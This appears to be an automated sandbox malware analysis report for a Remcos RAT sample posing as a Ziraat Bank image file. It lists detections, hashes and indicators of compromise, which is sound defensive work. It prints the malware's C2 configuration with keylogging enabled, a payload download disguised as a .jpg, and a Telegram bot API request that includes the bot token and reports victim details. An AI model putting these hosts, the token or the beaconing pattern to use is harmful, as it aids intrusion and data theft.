Windows Analysis Report
IMG-ZIRAATI03102022.exe

Overview

General Information

Sample Name:	IMG-ZIRAATI03102022.exe
Analysis ID:	715079
MD5:	3b4a0b66d0415af1e216224497c59b4b
SHA1:	d5f559097a703f155bad6b8610a48ea2dbd68b27
SHA256:	95c80a6add91050a965c4d38e3db1736c7cfc8c286e87c9d1c3aeb46ee3a95de
Tags:	exegeoRemcosRATTURZiraatBank
Infos:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Remcos RAT

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Installs a global keyboard hook

Yara detected Costura Assembly Loader

Encrypted powershell cmdline option found

Uses the Telegram API (likely for C&C communication)

Machine Learning detection for sample

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Uses dynamic DNS services

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

May sleep (evasive loops) to hinder dynamic analysis

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Detected TCP or UDP traffic on non-standard ports

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Signatures

AV Detection

Multi AV Scanner detection for submitted file

Source: IMG-ZIRAATI03102022.exe	ReversingLabs: Detection: 26%
Source: IMG-ZIRAATI03102022.exe	Virustotal: Detection: 26%			Perma Link

Yara detected Remcos RAT

Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.IMG-ZIRAATI03102022.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.4123660.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.40fb640.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000000.414784551.0000000000456000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.610648018.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.422576677.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.773154547.0000000001237000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.423542604.0000000004213000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IMG-ZIRAATI03102022.exe PID: 5820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IMG-ZIRAATI03102022.exe PID: 4124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FILE.exe PID: 4184, type: MEMORYSTR

Antivirus detection for URL or domain

Source: remcapi.duckdns.org

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: remcapi.duckdns.org

Virustotal: Detection: 13%

Perma Link

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\install.vbs

Avira: detection malicious, Label: VBS/Runner.VPE

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\work\FILE.EXE	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Roaming\FILE.exe	ReversingLabs: Detection: 26%

Machine Learning detection for sample

Source: IMG-ZIRAATI03102022.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\FILE.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\work\FILE.EXE	Joe Sandbox ML: detected

Antivirus or Machine Learning detection for unpacked file

Source: 12.0.IMG-ZIRAATI03102022.exe.400000.0.unpack

Avira: Label: BDS/Backdoor.Gen

Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.raw.unpack

Malware Configuration Extractor: Remcos {"Version": "3.8.0 Pro", "Host:Port:Password": "remcapi.duckdns.org:2028:1", "Assigned name": "NEW", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Disable", "Setup HKLM\\Run": "Disable", "Install path": "Application path", "Copy file": "FILE.EXE", "Startup value": "file", "Hide file": "Disable", "Mutex": "Rmc-L9LQMY", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Enable", "Audio record time": "5"}

Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.422576677.00000000040BA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

Uses 32bit PE files

Source: IMG-ZIRAATI03102022.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 144.76.120.25:443 -> 192.168.2.3:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.120.25:443 -> 192.168.2.3:49702 version: TLS 1.2

Source: IMG-ZIRAATI03102022.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdb source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdbSHA256w^ source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2022640 ET TROJAN PE EXE or DLL Windows file download Text M2 144.76.120.25:443 -> 192.168.2.3:49698
Source: Traffic	Snort IDS: 2017962 ET TROJAN PE EXE or DLL Windows file download disguised as ASCII 144.76.120.25:443 -> 192.168.2.3:49698
Source: Traffic	Snort IDS: 2012252 ET SHELLCODE Common 0a0a0a0a Heap Spray String 144.76.120.25:443 -> 192.168.2.3:49698
Source: Traffic	Snort IDS: 2022640 ET TROJAN PE EXE or DLL Windows file download Text M2 144.76.120.25:443 -> 192.168.2.3:49702
Source: Traffic	Snort IDS: 2017962 ET TROJAN PE EXE or DLL Windows file download disguised as ASCII 144.76.120.25:443 -> 192.168.2.3:49702
Source: Traffic	Snort IDS: 2012252 ET SHELLCODE Common 0a0a0a0a Heap Spray String 144.76.120.25:443 -> 192.168.2.3:49702

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: remcapi.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: remcapi.duckdns.org

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /img/image/57/b15c1f2fa18efb7b0a2e9e577171ed5d/IMG-ZIRAATI03102022-Wqnntgku.jpg HTTP/1.1Host: www.uplooder.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot5700424484:AAHP7I1VQ--kj9KZNXGLeSEyqUKvt4ILTyk/sendMessage?chat_id=1391434830&text=%0D%0A%F0%9F%94%8A%20NEW%20EXECUTION%0D%0A1%EF%B8%8F%E2%83%A3%20User%20=%20user%0D%0A2%EF%B8%8F%E2%83%A3%20Date%20UTC%20=%2010/3/2022%2011:03:09%20PM%0D%0A3%EF%B8%8F%E2%83%A3%20File%20=%20IMG-ZIRAATI03102022.exe HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /img/image/57/b15c1f2fa18efb7b0a2e9e577171ed5d/IMG-ZIRAATI03102022-Wqnntgku.jpg HTTP/1.1Host: www.uplooder.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 144.76.120.25 144.76.120.25

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.3:49703 -> 79.134.225.75:2028

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA.crt0
Source: FILE.exe, 00000011.00000002.604000895.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA.crl0E
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA.crl0L
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.422576677.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.423542604.0000000004213000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 0000000C.00000000.414784551.0000000000456000.00000040.00000400.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.610648018.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.416722102.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.605146002.0000000002D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5700424484:AAHP7I1VQ--kj9KZNXGLeSEyqUKvt4ILTyk/sendMessage?chat_id=13914
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.416884855.0000000002F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org45k$1
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp, IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.612073197.00000000044AF000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.606501365.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.611674099.000000000440F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.416722102.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, FILE.exe, 00000011.00000002.605146002.0000000002D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.uplooder.net
Source: IMG-ZIRAATI03102022.exe, FILE.exe.0.dr, FILE.EXE.12.dr	String found in binary or memory: https://www.uplooder.net/img/image/57/b15c1f2fa18efb7b0a2e9e577171ed5d/IMG-ZIRAATI03102022-Wqnntgku.

Source: unknown

DNS traffic detected: queries for: www.uplooder.net

Source: global traffic	HTTP traffic detected: GET /img/image/57/b15c1f2fa18efb7b0a2e9e577171ed5d/IMG-ZIRAATI03102022-Wqnntgku.jpg HTTP/1.1Host: www.uplooder.netConnection: Keep-Alive
